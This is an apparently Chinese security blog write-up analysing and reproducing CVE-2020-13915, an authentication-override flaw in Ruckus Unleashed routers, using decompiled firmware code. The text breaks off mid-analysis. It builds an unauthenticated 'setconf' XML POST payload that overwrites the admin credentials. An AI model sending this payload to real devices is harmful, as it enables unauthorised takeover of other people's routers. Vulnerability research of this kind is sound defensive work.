Ruckus 路由器多个漏洞分析

Ruckus公司面向全球移动运营商、宽带服务提供商和企业用户 , 销售、制造各种室内和室外型“智能Wi-Fi”产品 。本文是针对于今年Ruckus品牌路由器的两个漏洞进行分析复现 。
 
CVE-2020-13915 认证覆盖漏洞概述 
ruckus unleased 设备在今年的5月份修复了一个认证覆盖漏洞 , 利用该漏洞可以通过未授权的方式将设备 Admin 用户的登录凭证进行覆盖 , 从而达到接管 Admin 用户的效果 。漏洞公告见参考链接一 。
 
固件下载https://support.ruckuswireless.com/software/2328-ruckus-unleashed-ap-200-8-10-3-243-ga-software-for-r610
 
漏洞分析使用 binwalk 将固件进行解压 , 漏洞发生在 /web/admin/_wla_conf.jsp脚本文件中 , 查看脚本文件的内容 , 其中WithoutLoginAccessCheck作为回调函数进行执行 , 函数的参数为session["cid"]'true'
 

  1. <%
  2. Delegate("WithoutLoginAccessCheck", session["cid"],'true');
  3. Delegate("AjaxConf", session["cid"]);
  4. %>
该函数触发的地方在 /bin/emfd可执行文件中 , 在 ghidra 中搜索函数 , 找到WithoutLoginAccessCheck函数 , 函数部分代码如下:
 
  1. ...
  2. if(!strcasecmp(ajax_action,"setconf"))
  3. {
  4. admin_child = xGetChild(v36,"admin");
  5. if( admin_child !=0)
  6. {
  7. v37 = sub_60890(admin_child);
  8. }
  9. ...
首先判断前端 http 数据包中传入的 post data 中的 action 属性的值是否为 setconf , 再使用 xGetChild函数获取 admin 子标签 , 接着调用sub_60890函数 。
因此根据设备的数据包格式 , 这里需要构造的 post data 为:
 
  1. <ajax-requestaction="setconf">
  2. <admin/>
  3. <ajax-request/>
跟进sub_60890函数 , 这里主要判断 admin 子标签的属性数量是否为 8 , 且这 8 个属性名是否为 v41 变量到 v49 的值 。
 
  1. ...
  2. v41 = admin_element;
  3. v42 ="username";
  4. v43 ="fallback-local";
  5. v44 ="authsvr-id";
  6. v45 ="auth-by";
  7. v46 ="x-password";
  8. v47 ="IS_PARTIAL";
  9. v48 ="reset";
  10. 【Ruckus 路由器多个漏洞分析】v49 ="auth-token";
  11. attrnum = xGetAttrNum(a1);
  12. ...
  13. if(attrnum !=8){
  14. return-1;
  15. }
  16. v2 = xAttrExists(v41, v42);
  17. if(!v2){
  18. return-1;
  19. }
  20. ...
  • 此时的 post data:
  1. <ajax-requestaction="setconf">
  2. <adminusername='admin'x-password='xxxxxx'auth-token=''reset=trueIS_PARTIAL=''auth-by='local'authsvr-id='0'fallback-local='true'/>
  3. <ajax-request/>
接着回到/admin/_wla_conf.jsp脚本文件中 , 第三行中同样以回调的方式执行了AjaxConf函数 , 该函数位于/usr/lib/libemf.so动态链接库程序中 。
同样在 ghidra 中找到函数的位置 , 部分代码如下:
 
  1. int adapter_setConf(char*attr_comp,undefined4 xmlstr){
  2. ...
  3. iVar3 = adapter_validateConf(xmlstr);
  4. if(iVar3 ==0x0){
  5. iVar4 = strcmp(attr_comp,"system");
  6. if(iVar4 ==0x0){
  7. ...
  8. }
  9. }


    推荐阅读